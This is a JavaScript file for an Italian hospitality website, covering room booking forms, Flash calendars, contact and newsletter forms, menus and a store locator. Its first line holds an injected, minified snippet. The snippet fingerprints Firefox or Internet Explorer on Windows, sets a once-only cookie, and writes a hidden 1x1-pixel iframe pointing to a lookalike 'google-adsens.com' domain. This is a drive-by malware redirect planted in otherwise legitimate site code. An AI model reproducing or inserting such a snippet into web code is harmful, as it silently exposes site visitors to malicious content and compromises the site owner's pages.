var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
var preBookingOpenForm=0;
var timeout=0;
function swapBookingForms(i){
	if(preBookingOpenForm==i && i>0){
		$('#bookingForm'+i).hide('blind',{},500);
		preBookingOpenForm=0;
	} else {
		if(preBookingOpenForm!=i && i>0){
			$('#bookingForm'+preBookingOpenForm).hide('blind',{},500);
			$('#bookingForm'+i).show('blind',{},500);
			preBookingOpenForm=i;
		}
	}
	return(false);
}

function isNumeric(sText){
   var validChars="-0123456789.";
   var ris=true;
   var char;
   for (i=0; i<sText.length && ris==true; i++){ 
      char=sText.charAt(i); 
      if(validChars.indexOf(char)==-1){
         ris=false;
      }
   }
   return ris;
}

function caricaFlashHome(lang,sito){
	var flashvars = {
			path: "public/xml/images_"+sito+".xml",
			lingua: lang
		};
	var params = {
			wmode: "transparent",
			quality: "autohigh",
			swliveconnect: "true",
			allowScriptAccess: "always",
			allowFullScreen: "false",
			scale: "exactfit",
			bgcolor: "#ffffff",
			width:"100%",
			height:"100%",
			align: "bottom"
		};
	var attributes = {
			id: "flashHome",
			name: "flashHome"
		};
	swfobject.embedSWF("home_"+sito+".swf", "flashHome", "100%", "100%", "9.0.0","js/flash/expressInstall.swf", flashvars, params, attributes);
}

function caricaLancioSx(){
	if(typeof(arrLanci[idLancio])=="undefined"){
		idLancio=0;
	}
	$.get("_inc_lanci.php",{
			id: arrLanci[idLancio],
			tipo: 'sx',
			time: unixTime()
		}, function(data){
			insHTML("lancioSx", data);
			attivaCufon("#lancioSx");
		});
	idLancio=idLancio+1;
}

function caricaLancioCn(){
	if(typeof(arrLanci[idLancio])=="undefined"){
		idLancio=0;
	}
	$.get("_inc_lanci.php",{
			id: arrLanci[idLancio],
			tipo: 'cn',
			time: unixTime()
		}, function(data){
			insHTML("lancioCn", data);
			attivaCufon("#lancioCn");
		});
	idLancio=idLancio+1;
}

function attivaSwapLanci(qtaLanci){
	if(qtaLanci>0){
		caricaLancioSx();
		if(qtaLanci>1){
			caricaLancioCn();
		}
		if(qtaLanci>2){
			x = window.setInterval(actCaricaLancioSx, 5000);	
			y = window.setInterval(actCaricaLancioCn, 5000);
		}
	}
}

function caricaSocial(){
	if(typeof(arrSocial[idSocial])=="undefined"){
		idSocial=0;
	}
	$.get("_inc_social.php",{
			id: arrSocial[idSocial],
			time: unixTime()
		}, function(data){
			insHTML("contSocial", data);
			attivaCufon("#contSocial");
		});
	idSocial=idSocial+1;
}

function attivaSwapSocial(qtaSocial){
	if(qtaSocial>0){
		caricaSocial();
		if(qtaSocial>1){
			z = window.setInterval(actCaricaSocial, 5000);	
		}
	}
}

function titprenota(lang, sito, val_testo){
	var flashvars = {
			lingua: lang,
			testo: val_testo,
			annoMese: aaaammInit 
		};
	var params = {
			wmode: "transparent",
			quality: "autohigh",
			swliveconnect: "true",
			allowScriptAccess: "always",
			allowFullScreen: "false",
			scale: "exactfit",
			bgcolor: "#ffffff",
			width:(val_testo!="")?"950":"394",
			height:"33"
		};
	var attributes = {
			id: "flTitPrenota",
			name: "flTitPrenota"
		};
	swfobject.embedSWF("titprenota_"+sito+".swf", "flashTitPrenotaFl", (val_testo!="")?"950":"394", "33", "9.0.0","js/flash/expressInstall.swf", flashvars, params, attributes);
}

function calendarioSmall(lang, sito, val_idCal){ // calendario senza legenda (elenco camere)
	var flashvars = {
			id_cal: val_idCal,
			lingua: lang,
			annoMese: aaaammInit
		};
	var params = {
			wmode: "transparent",
			quality: "autohigh",
			swliveconnect: "true",
			allowScriptAccess: "always",
			allowFullScreen: "false",
			scale: "exactfit",
			bgcolor: "#ffffff",
			width:"184",
			height:"188"
		};
	var attributes = {
			id: "flcal_"+val_idCal,
			name: "flcal_"+val_idCal
		};
	swfobject.embedSWF("calendar_"+sito+".swf", "flcal"+val_idCal, "184", "188", "9.0.0","js/flash/expressInstall.swf", flashvars, params, attributes);
}

function calendarioBig(lang, sito, val_idCal){ // calendario con legenda (pagina camera)
	var flashvars = {
			id_cal: val_idCal,
			lingua: lang,
			annoMese: aaaammInit
		};
	var params = {
			wmode: "transparent",
			quality: "autohigh",
			swliveconnect: "true",
			allowScriptAccess: "always",
			allowFullScreen: "false",
			scale: "exactfit",
			bgcolor: "#ffffff",
			width:"325",
			height:"214"
		};
	var attributes = {
			id: "flcal_"+val_idCal,
			name: "flcal_"+val_idCal
		};
	swfobject.embedSWF("calendar1_"+sito+".swf", "flcal"+val_idCal, "325", "214", "9.0.0","js/flash/expressInstall.swf", flashvars, params, attributes);
}

/* ------------------------------------------- */

function callVaiMeseAll(aaaamm){ // funzione chiamata da flash per cambiare il mese su tutti i calendari (prende gli id calendari da global)
	setMeseAll(arrIdsCalendari,aaaamm);
}

function setMeseAll(arrIds,aaaamm){ // cambia il mese su tutti i calendari (prende gli id calendari come parametro di tipo array)
	for(var chiave in arrIds){
		setMeseJs(arrIds[chiave],aaaamm);
	}
}

function setMeseJs(val_idCal,aaaamm){ // cambia di mese il calendario specifico
	var idObj="flcal_"+val_idCal;
	try{ objFlash=getFlashObj(idObj); } catch(err){ }
	try{ objFlash.setMese(aaaamm); } catch(err){ }
}
/* ------------------------------------------- */

function setGiorniSel(val_idCal,arrGiorni){ // imposta i giorni già prenotati sul calendario specifico
	var idObj="flcal_"+val_idCal;
	try{ objFlash=getFlashObj(idObj); } catch(err){ }
	try{ objFlash.setPrenotazione(arrGiorni); } catch(err){ }
}

function setPrenotazioneJs(val_idCal, dates){ // [ALIAS] imposta i giorni già prenotati sul calendario specifico
	setGiorniSel(val_idCal,dates);
}

function getGiorniSelJs(val_idCal,val_aaaamm){ // recupera da db i giorni già prenotati e imposta i giorni già prenotati sul calendario specifico
	giorni="";
	// pulisce calendario
	var idObj="flcal_"+val_idCal;
	try{ objFlash=getFlashObj(idObj); }catch(err){ }
	try{ objFlash.setPrenotazione(new Array()); }catch(err){ }
	$.post("background.php",{
			act: "getGiorniSel",
			idCal: val_idCal,
			aaaamm: val_aaaamm,
			time: unixTime()
		}, function(data){
			if(data!=""){ // imposta giorni
				giorni=data.split(",");
				for(var chiave in giorni){
					giorni[chiave]=parseInt(parseFloat(giorni[chiave]));
				}
				// alert("Z"+giorni);
				var idObj="flcal_"+val_idCal;
				objFlash=getFlashObj(idObj);
				try{ objFlash=getFlashObj(idObj); }catch(err){ }
				try{ objFlash.setPrenotazione(giorni); }catch(err){ }
				// alert(giorni);
			}
		});
}

function setGiorniSelAll(val_aaaamm){ // imposta i giorni già prenotati su tutti i calendari
	for(var chiave in arrIdsCalendari){
		getGiorniSelJs(arrIdsCalendari[chiave],val_aaaamm);
	}
	return(false);
}

/* -------- FUNZIONI PER RICAVARE I GIORNI SELEZIONATI --------- */
function setBooking(giorniSel,val_idCal){ // la chiama il flash
	var giorniSelTxt=new Array();
	for(var chiave in giorniSel){
		giorniSelTxt[chiave]=giorniSel[chiave].substr(6,2)+"/"+giorniSel[chiave].substr(4,2)+"/"+giorniSel[chiave].substr(0,4);
	}
	if(giorniSelTxt.length>0){
		giorniSelTxt="<strong>"+giorniSelTxt.join('</strong>, <strong>')+"</strong>";
	} else {
		giorniSelTxt='<span class="notransform"><strong>'+$("#giorni"+val_idCal).attr("default")+'</strong></span>';
	}
	$("#giorni"+val_idCal).html(giorniSelTxt);
	$("#inputGiorni"+val_idCal).attr("value",giorniSel.join(','));
	// alert($("#inputGiorni"+val_idCal).val());
}

function getBookingJs(val_idCal){ // richiede al flash di chiamare la mia funzione setBooking passandomi i giorni selezionati
	var idObj="flcal_"+val_idCal;
	objFlash=getFlashObj(idObj);
	objFlash.getBooking(); // la richiesta chiama il mio setBooking
}

function checkPrenotazione(val_idCal){ // la chiama il flash ad ogni click sui giorni del calendario
	getBookingJs(val_idCal);
}

function returnValori(from,to,num_a,num_b){ // funxione chiamata dal flash dall'homepage
	location.href="http://www.venissa.it/index.php?idSez=12&idPag=26";
	// location.href="booking_res.php?from="+from+"&to="+to+"&num_a="+num_a+"&num_b="+num_b;
}


function ie6Bisol(){
	$('#barPrenota').css("background","none");
	$('#contMenuTop1,#contMenuTop2,#contMenuTop3,#contMenu2_1,#contMenu2_2,#contMenu2_3').css("background","none");
	
}

function fixPng(){
	$('img').ifixpng();
	// $('.bookingForm').ifixpng();
	// $('.bookingSelQta').ifixpng();
	$('.boxContact').ifixpng();
	$('.rowCamera').ifixpng();
	$('.rowRedaz').ifixpng();
	$('.rowCamera1').ifixpng();
	$('.stepPrenota').ifixpng();
	$('#barBookingRisTit').ifixpng();
	// $('#barPrenota').ifixpng();
	$('#boxContact').ifixpng();
	// $('#boxContact a').ifixpng();
	$('#boxDownloads').ifixpng();
	$('#boxProfile').ifixpng();
	$('#boxSocial').ifixpng();
	$('#boxSocial a').ifixpng();
	$('#boxVideos').ifixpng();
	$('#contenitoreAll').ifixpng();
	$('#gMapTravel').ifixpng();
	$('#int1').ifixpng();
	$('#int2').ifixpng();
	// $('#int3').ifixpng();
	$('#int6').ifixpng();
	// $('#int3_3').ifixpng();
	// $('#int3_4').ifixpng();
	$('#int4_1').ifixpng();
	$('#int5_1').ifixpng();
	$('#int6_1').ifixpng();
	$('#int6_2').ifixpng();
	// $('#int6_4').ifixpng();
	// $('#intSxPrenota').ifixpng();
	$('#menu a').ifixpng();
	$('.menuSub a').ifixpng();
	$('#logicweb').ifixpng();
	$('#comboPaese').ifixpng();
	$('#comboCitta').ifixpng();
	$('#vaiMap').ifixpng();
	
	if(getIEVersion()<=6){
		ie6Bisol();
	}
	
}

function attivaCufon(idElemento){
	idElemento=(typeof(idElemento)=="undefined")?"":(idElemento+" ");
	Cufon.replace(idElemento+'.rotisSemiSerif', { fontFamily: 'rotisSemiSerif', hover:'true' });
	Cufon.replace(idElemento+'.TrajanPro', { fontFamily: 'TrajanPro', hover:'true' });
	Cufon.replace(idElemento+'.RotisSansSerifStd', { fontFamily: 'RotisSansSerifStd', hover:'true' });


}

function zoomGllRedaz(id,sito){
	imgOrig=$("#linkGllRedaz"+id).attr("href");
	$("#intSxThumbs div").attr("class","");
	$("#maskGllRedaz"+id).attr("class","selected");
	var thumbTmp="phpthumb/phpthumb.php?src=../"+imgOrig+"&w=410&h=277&zc=1&aoe=1&f=jpg&q=95";
	$("#intSxFotoImg").attr("src",thumbTmp);
	$("#intSxFoto").attr("href",imgOrig);
	$("#intSxFoto").attr("onclick","");
	$("#intSxFoto").unbind();
	$("#intSxFoto").bind("click", function(){
		return(popupImg($("#linkGllRedaz"+id).attr("href"),sito));
	});
	return(false);
}

function zoomGllVino(id,sito){
	imgOrig=$("#linkGllRedaz"+id).attr("href");
	$("#intSxThumbs div").attr("class","");
	$("#maskGllRedaz"+id).attr("class","selected");
	var thumbTmp="phpthumb/phpthumb.php?src=../"+imgOrig+"&w=410&aoe=1&f=png&q=95";
	$("#intSxFotoImg").attr("src",thumbTmp);
	$("#intSxFotoVino").attr("href",imgOrig);
	$("#intSxFotoVino").attr("onclick","");
	$("#intSxFotoVino").unbind();
	if(id>0){
		$("#intSxFotoVino").css("cursor","pointer");
		$("#intSxFotoVino").bind("click", function(){
			return(popupImg($("#linkGllRedaz"+id).attr("href"),sito));
		});
	} else {
		$("#intSxFotoVino").css("cursor","text");
		$("#intSxFotoVino").bind("click", function(){
			return(false);
		});
	}
	return(false);
}

function zoomGllMag(id,sito){
	imgOrig=$("#linkGllRedaz"+id).attr("href");
	$("#intSxThumbs div").attr("class","");
	$("#maskGllRedaz"+id).attr("class","selected");
	var thumbTmp="phpthumb/phpthumb.php?src=../"+imgOrig+"&w=587&h=324&zc=1&aoe=1&f=jpg&q=95";
	$("#intSxFotoImg").attr("src",thumbTmp);
	$("#intSxFoto").attr("href",imgOrig);
	$("#intSxFoto").attr("onclick","");
	$("#intSxFoto").unbind();
	$("#intSxFoto").bind("click", function(){
		return(popupImg($("#linkGllRedaz"+id).attr("href"),sito));
	});
	return(false);
}

function attivaGMapStandard(val_idCont,val_popup,val_address,val_url,val_zoom){
	val_zoom=(val_zoom!="")?val_zoom:5;
	ris=$(val_idCont).fuGMAP({
		controls: true,
		popup:val_popup,
		markers: [ { address:val_address, url:val_url } ],
		zoom: val_zoom,
	    controls: [ "GLargeMapControl", "GMapTypeControl" ]
	});
}

function contactPop(url,titolo){
	TopUp.display(("contact_pop.php?url="+url+"&titolo="+titolo), {
		width:(getNomeBrowser()=="webkit")?960:960,
		height:(getNomeBrowser()=="webkit")?245:250,
		type:'iframe',
		layout:'dashboard', // 'quicklook','dashboard'
		resizable:0,
		shaded:1,
		noGroup:1,
		ondisplay: function(){
			$(".te_close_link").hide();
		},
		onclose: function(){
			$(".te_close_link").show();
		}
	});
	return(false);
} 

function popNl(){
	TopUp.display("nl_pop.php", {
		width:(getNomeBrowser()=="webkit")?504:504,
		height:(getNomeBrowser()=="webkit")?250:250,
		type:'iframe',
		layout:'dashboard', // 'quicklook','dashboard'
		resizable:0,
		shaded:1,
		noGroup:1,
		ondisplay: function(){
			$(".te_close_link").hide();
		},
		onclose: function(){
			$(".te_close_link").show();
		}
	});
	return(false);
} 

function popLogPress(url){
	TopUp.display(("logpress_pop.php?url="+url), {
		width:(getNomeBrowser()=="webkit")?960:960,
		height:(getNomeBrowser()=="webkit")?245:250,
		type:'iframe',
		layout:'dashboard', // 'quicklook','dashboard'
		resizable:0,
		shaded:1,
		noGroup:1,
		ondisplay: function(){
			$(".te_close_link").hide();
		},
		onclose: function(){
			$(".te_close_link").show();
		}
	});
	return(false);
} 

function formContactRif_act(){
	$("#alertForm").html("");
	$.post("background.php",{
			act: "contactRif",
			urlRif: $("#urlRif").val(),
			titoloRif: $("#titoloRif").val(),
			nome: $("#nome").val(),
			cognome: $("#cognome").val(),
			email: $("#email").val(),
			telefono: $("#telefono").val(),
			note: $("#note").val(),
			privacy: $("#privacy").val(),
			nl: $("#nl").val(),
			time: unixTime()
		}, function(data){
			if(data=="ok"){
				location.href=($("#urlHere").val())+"&act=ok";
			} else {
				if(data=="cognome_missing"){ $("#cognome").focus(); $("#alertForm").html(arrJsTexts['alert_cognome']); return(false); }
				if(data=="nome_missing"){ $("#nome").focus(); $("#alertForm").html(arrJsTexts['alert_nome']); return(false); }
				if(data=="email_missing"){ $("#email").focus(); $("#alertForm").html(arrJsTexts['alert_email']); return(false); }
				if(data=="email_wrong"){ $("#email").focus(); $("#alertForm").html(arrJsTexts['alert_wrongemail']); return(false); }
				// if(data=="telefono_missing"){ $("#telefono").focus(); $("#alertForm").html(arrJsTexts['alert_tel']); return(false); }
				if(data=="messaggio_missing"){ $("#note").focus(); $("#alertForm").html(arrJsTexts['alert_messaggio']); return(false); }
				if(data=="privacy"){ $("#privacy").focus(); $("#alertForm").html(arrJsTexts['alert_privacy']); return(false); }
				location.href=($("#urlHere").val())+"&act=ko";
			}
		});
	return(false);
}

function formContact_act(){
	$("#alertForm").html("&nbsp;");
	$.post("background.php",{
			act: "contact",
			nome: $("#nome").val(),
			cognome: $("#cognome").val(),
			email: $("#email").val(),
			telefono: $("#telefono").val(),
			note: $("#note").val(),
			privacy: $("#privacy").val(),
			nl: $("#nl").val(),
			time: unixTime()
		}, function(data){
			if(data=="ok"){
				location.href="contact.php?act=ok";
			} else {
				if(data=="cognome_missing"){ $("#cognome").focus(); $("#alertForm").html(arrJsTexts['alert_cognome']); return(false); }
				if(data=="nome_missing"){ $("#nome").focus(); $("#alertForm").html(arrJsTexts['alert_nome']); return(false); }
				if(data=="email_missing"){ $("#email").focus(); $("#alertForm").html(arrJsTexts['alert_email']); return(false); }
				if(data=="email_wrong"){ $("#email").focus(); $("#alertForm").html(arrJsTexts['alert_wrongemail']); return(false); }
				// if(data=="telefono_missing"){ $("#telefono").focus(); $("#alertForm").html(arrJsTexts['alert_tel']); return(false); }
				if(data=="messaggio_missing"){ $("#note").focus(); $("#alertForm").html(arrJsTexts['alert_messaggio']); return(false); }
				if(data=="privacy"){ $("#privacy").focus(); $("#alertForm").html(arrJsTexts['alert_privacy']); return(false); }
				location.href="contact.php?act=ko";
			}
		});
	return(false);
}

function formNl_act(){
	$("#alertForm").html("");
	$.post("background.php",{
			act: "newsletterIns",
			idAccoglienza:  $("#idAccoglienza").val(),
			nome: $("#nome").val(),
			cognome: $("#cognome").val(),
			email: $("#email").val(),
			privacy: $("#privacy").val(),
			nl: $("#nl").val(),
			time: unixTime()
		}, function(data){
			if(data=="ok"){
				location.href=($("#urlHere").val())+"&act=ok";
			} else {
				if(data=="cognome_missing"){ $("#cognome").focus(); $("#alertForm").html(arrJsTexts['alert_cognome']); return(false); }
				if(data=="nome_missing"){ $("#nome").focus(); $("#alertForm").html(arrJsTexts['alert_nome']); return(false); }
				if(data=="email_missing"){ $("#email").focus(); $("#alertForm").html(arrJsTexts['alert_email']); return(false); }
				if(data=="email_wrong"){ $("#email").focus(); $("#alertForm").html(arrJsTexts['alert_wrongemail']); return(false); }
				if(data=="privacy"){ $("#privacy").focus(); $("#alertForm").html(arrJsTexts['alert_privacy']); return(false); }
				if(data=="err_generic"){ $("#alertForm").html(arrJsTexts['err_generic']); return(false); }
				location.href=($("#urlHere").val())+"&act=ko";
			}
		});
	return(false);
}

function formPrenota_act(id){
	$("#alertForm").html("&nbsp;");
	$.post("background.php",{
			act: "prenota",
			idCamera: id,
			giorni: $("#inputGiorni"+id).val(),
			num_a: $("#num_a"+id).val(),
			num_b: $("#num_b"+id).val(),
			nome: $("#nome"+id).val(),
			cognome: $("#cognome"+id).val(),
			email: $("#email"+id).val(),
			telefono: $("#telefono"+id).val(),
			note: $("#note"+id).val(),
			privacy: $("#privacy"+id).val(),
			nl: $("#nl"+id).val(),
			time: unixTime()
		}, function(data){
			if(parseInt(data)>0){
				// alert(data);
				location.href="booking_ok.php?&id="+data;
			} else {
				if(data=="num_a_missing"){ $("#alertForm"+id).html(arrJsTexts['impostapersone']); return(false); }
				if(data=="giorni_missing"){ $("#alertForm"+id).html(arrJsTexts['alert_seldays']); return(false); }
				if(data=="cognome_missing"){ $("#cognome"+id).focus(); $("#alertForm"+id).html(arrJsTexts['alert_cognome']); return(false); }
				if(data=="nome_missing"){ $("#nome"+id).focus(); $("#alertForm"+id).html(arrJsTexts['alert_nome']); return(false); }
				if(data=="email_missing"){ $("#email"+id).focus(); $("#alertForm"+id).html(arrJsTexts['alert_email']); return(false); }
				if(data=="email_wrong"){ $("#email"+id).focus(); $("#alertForm"+id).html(arrJsTexts['alert_wrongemail']); return(false); }
				if(data=="telefono_missing"){ $("#telefono"+id).focus(); $("#alertForm"+id).html(arrJsTexts['alert_tel']); return(false); }
				// if(data=="messaggio_missing"){ $("#note"+id).focus(); $("#alertForm").html(arrJsTexts['alert_messaggio']); return(false); }
				if(data=="privacy"){ $("#privacy"+id).focus(); $("#alertForm"+id).html(arrJsTexts['alert_privacy']); return(false); }
				if(data=="err_generic"){ $("#alertForm"+id).html(arrJsTexts['err_generic']); return(false); }
				// alert(data);
				location.href="booking_ok.php";
				// $("#alertForm").html(data);
			}
		});
	return(false);
}

function formLogPress_act(){
	$("#alertForm").html("");
	$.post("background.php",{
			act: "logPress",
			urlRif: $("#urlRif").val(),
			password: $("#password").val(),
			time: unixTime()
		}, function(data){
			if(data=="ok"){
				top.location.href=($("#urlRif").val());
			} else {
				if(data=="password_missing"){ $("#password").focus(); $("#alertForm").html(arrJsTexts['alert_password']); return(false); }
				if(data=="password_wrong"){ $("#password").focus(); $("#alertForm").html(arrJsTexts['alert_wrongpassword']); return(false); }
				return(false);
			}
		});
	return(false);
}

function formIscrPress_act(){
	$("#alertFormDx").html("&nbsp;");
	$.post("background.php",{
			act: "iscrPress",
			nome: $("#nome").val(),
			cognome: $("#cognome").val(),
			email: $("#email").val(),
			privacy: $("#privacy").val(),
			nl: $("#nl").val(),
			time: unixTime()
		}, function(data){
			if(data=="ok"){
				location.href="logpress_pop.php?act=ok";
			} else {
				if(data=="cognome_missing"){ $("#cognome").focus(); $("#alertFormDx").html(arrJsTexts['alert_cognome']); return(false); }
				if(data=="nome_missing"){ $("#nome").focus(); $("#alertFormDx").html(arrJsTexts['alert_nome']); return(false); }
				if(data=="email_missing"){ $("#email").focus(); $("#alertFormDx").html(arrJsTexts['alert_email']); return(false); }
				if(data=="email_wrong"){ $("#email").focus(); $("#alertFormDx").html(arrJsTexts['alert_wrongemail']); return(false); }
				if(data=="privacy"){ $("#privacy").focus(); $("#alertFormDx").html(arrJsTexts['alert_privacy']); return(false); }
				location.href="logpress_pop.php?act=ko";
			}
		});
	return(false);
}

function actBottCheckbox(jqObjBott,jqObjInput){
	var valAtt=jqObjInput.val();
	jqObjInput.attr("value",(valAtt==0)?1:0);
	jqObjBott.attr("src",jqObjBott.attr((valAtt==0)?"src_on":"src_off"));
}

function allineaSubMenu(){
	var posX1=0;
	var pos1 = $(".contMenuSub").position();
	try{
		posX1=pos1.left;
	} catch(err){
		
	}
	if(true || posX1>0 || posX1<0){
		// posX1 = posX1+((getIEVersion()<=6)?0:-3);
		var menuUp=$(".aLink");
		$.each(menuUp, function(key, value){
			var idLiv1=$(value).attr("idLiv1");
			var pos = $(value).position();
			var posX = pos.left;
			var posY = pos.top;
			// $('#menuSub'+idLiv1).css("marginLeft",posX-posX1);

			$('#menuSub'+idLiv1).animate({ 
				marginLeft: (posX-posX1+"px")
			}, 100);

		});
	}
}

function attivaMenu(){
	setInterval(function(){ allineaSubMenu() }, 1000);

	$(".aLink").bind("mouseover", function(){
		idLiv1=$(this).attr("idLiv1");
		clearTimeout(timeout);
		$('.menuSub').hide(0,function(){
			$('#menuSub'+idLiv1).show(0,function(){
				$('#contMenu2_1').show(0,function(){});
			});
			$(".sfMenu2").show(0);
		});
	});
	$(".aLink").bind("mouseout", function(){
		timeout = setTimeout(function(){
			$('.menuSub').hide(0,function(){
				if(($(".menuSub.selected").length > 0)){
					$('.menuSub.selected').show(0,function(){
						$('#contMenu2_1').show(0,function(){});
					});
					$(".sfMenu2").show(0);
				} else {
					$('#contMenu2_1').hide(0,function(){});
					$(".sfMenu2").hide(0);
				}
			});
		}, 500);
	});

	$(".menuSub").bind("mouseover", function(){
		clearTimeout(timeout);
	});
	$(".menuSub").bind("mouseout", function(){
		timeout = setTimeout(function(){
			$('.menuSub').hide(0,function(){
				if(($(".menuSub.selected").length > 0)){
					$('.menuSub.selected').show(0,function(){
						$('#contMenu2_1').show(0,function(){});
					});
					$(".sfMenu2").show(0);
				} else {
					$('#contMenu2_1').hide(0,function(){});
					$(".sfMenu2").hide(0);
				}
			});
		}, 500);
	});

}

function attivaTendineGo(tipo,idMap){
	$("#vaiMap").bind("click", function(){
		if(tipo=="H"){
			var idArea=parseInt($("#comboPaese"+tipo).attr("value"),10);
			var idSubArea=parseInt($("#comboCitta"+tipo).attr("value"),10);
			var idLocator=parseInt($(this).attr("idLocator"),10);
			if(idLocator>0){
				var locatorUrl="index.php?idSez="+idLocator;
				if(idArea>0){ locatorUrl+="&idArea="+idArea; }
				if(idSubArea>0){ locatorUrl+="&idSubArea="+idSubArea; }
				location.href=locatorUrl;
			}
		} else {
			var area="";
			var subArea="";
			var idArea=parseInt($("#comboPaese"+tipo).attr("value"),10);
			var idSubArea=parseInt($("#comboCitta"+tipo).attr("value"),10);
			if(idArea>0){
				area=$("#comboPaese"+tipo).html();
			}
			if(idSubArea>0){
				var subArea=$("#comboCitta"+tipo).html();
			}
			var geoLocation=area+((subArea!="")?" ":"")+subArea;
			goGLocation(idMap, geoLocation, 6);
	
		}
		return(false);
	});	
}

function popolaSubarea(idArea, tipo, idSubSel){
	var isVisible=parseInt($("#tendinaCitta"+tipo).attr("on"),10);
	if(isVisible==1){
		$("#tendinaCitta"+tipo).attr("on",0);
		$("#tendinaCitta"+tipo).css("visibility","hidden");
	}
	$("#comboCitta"+tipo).attr("value","");
	$("#comboCitta"+tipo).html($("#comboCitta"+tipo).attr("default"));
	$.post("background.php",{
			act: "storeSubAree",
			idArea: idArea,
			idSubAreaSel: idSubSel,
			time: unixTime()
		}, function(data){
			if(data!=""){
				$("#tendinaCitta"+tipo).html(data);
				attivaTendinaCitta(tipo);
				if(true || $("#tendinaCitta"+tipo+" a").length>1){
					// $("#comboCitta"+tipo).attr("value","");
					// $("#comboCitta"+tipo).html($("#comboCitta"+tipo).attr("default"));
				} else {
					$("#comboCitta"+tipo).attr("value",$("#tendinaCitta"+tipo+" a:eq(0)").attr("value"));
					$("#comboCitta"+tipo).html($("#tendinaCitta"+tipo+" a:eq(0)").html());
				}
			} else {
				$("#tendinaCitta"+tipo).html("");
				$("#comboCitta"+tipo).attr("value","");
				$("#comboCitta"+tipo).html("- - -");
			}
		});
	return(false);
}

function attivaTendinaCitta(tipo){
	$("#tendinaCitta"+tipo+" a").unbind();
	$("#tendinaCitta"+tipo+" a").bind("click",function(){
		$("#comboCitta"+tipo).html($(this).html());
		$("#comboCitta"+tipo).attr("value",$(this).attr("value"));
		$("#comboCitta"+tipo).trigger('click');
		return(false);
	});	
}

function attivaScrolltendine(tipo,idMap){
	if($("#comboCitta"+tipo).html()==""){
		$("#comboCitta"+tipo).html($("#comboCitta"+tipo).attr("default"));
	}
	$("#tendinaPaese"+tipo+", #tendinaCitta"+tipo).jScrollPane({showArrows:false,verticalDragMaxHeight:33});
	$('.jScrollPaneContainer').bind("click", function(e){ $('.jScrollPaneContainer').blur(); return(false); });
	$("#comboPaese"+tipo).bind("click",function(){
		var isVisible=parseInt($("#tendinaPaese"+tipo).attr("on"),10);
		$("#tendinaPaese"+tipo).attr("on",(isVisible==1)?"0":"1");
		$("#tendinaPaese"+tipo).css("visibility",(isVisible)?"hidden":"visible");
		return(false);
	});
	$("#comboCitta"+tipo).bind("click",function(){
		if($("#tendinaCitta"+tipo+" a").length>0){
			var isVisible=parseInt($("#tendinaCitta"+tipo).attr("on"),10);
			$("#tendinaCitta"+tipo).attr("on",(isVisible==1)?"0":"1");
			$("#tendinaCitta"+tipo).css("visibility",(isVisible)?"hidden":"visible");
		}
		return(false);
	});

	$("#tendinaPaese"+tipo+" a").bind("click",function(){
		$("#comboPaese"+tipo).html($(this).html());
		$("#comboPaese"+tipo).attr("value",$(this).attr("value"));
		popolaSubarea($(this).attr("value"),tipo,$("#comboCitta"+tipo).attr("value"));
		$("#comboPaese"+tipo).trigger('click');
		return(false);
	});

	attivaTendinaCitta(tipo);
	attivaTendineGo(tipo,idMap);
}

function closemarkers(){
	if(idMarkerOpen.length>0){
		for(var param in idMarkerOpen){
			markers[param].infowindow.close();
		}
		idMarkerOpen=new Array();
	}
}

function attivaStoreSearch(idMap,arrLoc){
	$("#inputStoreFindSend").bind("click", function(){
		$("#storeTxtNessuno").hide(0);
		var cerca=$("#inputStoreFindField").val();
		if(cerca!="" && cerca.length>=3){
			idStores="";
			$.post("background.php",{
					act: "storeCerca",
					keyword: cerca,
					time: unixTime()
				}, function(data){
					try{
						idStores=data.split(",");	
					}catch(err){
						idStores=data;
					}
					if(idStores!="ko" && (typeof(idStores)=="array" || typeof(idStores)=="Array" || typeof(idStores)=="object" || typeof(idStores)=="Object")){
						closemarkers();
						for(i=0;i<idStores.length;i++){
							// alert(idStores[i]);
							openMarker(idMap,parseInt(idStores[i],10));
						}
						return(false);
					}
					if(parseInt(idStores,10)>0){
						alert(2);
						closemarkers();
						// alert("unico:"+idStores);
						openMarker(idMap,parseInt(idStores,10));
						return(false);
					}
					$("#storeTxtNessuno").show(0);
				});
		} else {
			$("#storeTxtNessuno").show(0);
		}
		return(false);
	});
}

